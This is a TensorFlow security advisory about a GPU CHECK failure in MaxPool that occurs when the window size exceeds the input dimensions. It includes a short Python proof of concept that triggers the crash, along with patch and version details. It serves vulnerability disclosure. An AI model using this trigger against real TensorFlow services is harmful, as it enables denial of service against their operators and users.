Impact

When MaxPool receives a window size input array ksize with dimensions greater than its input tensor input, the GPU kernel gives a CHECK fail that can be used to trigger a denial of service attack.

import tensorflow as tf
import numpy as np

input = np.ones([1, 1, 1, 1])
ksize = [1, 1, 2, 2]
strides = [1, 1, 1, 1]
padding = 'VALID'
data_format = 'NCHW'

tf.raw_ops.MaxPool(input=input, ksize=ksize, strides=strides, padding=padding, data_format=data_format)

Patches

We have patched the issue in GitHub commit 32d7bd3defd134f21a4e344c8dfd40099aaf6b18.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Jingyi Shi.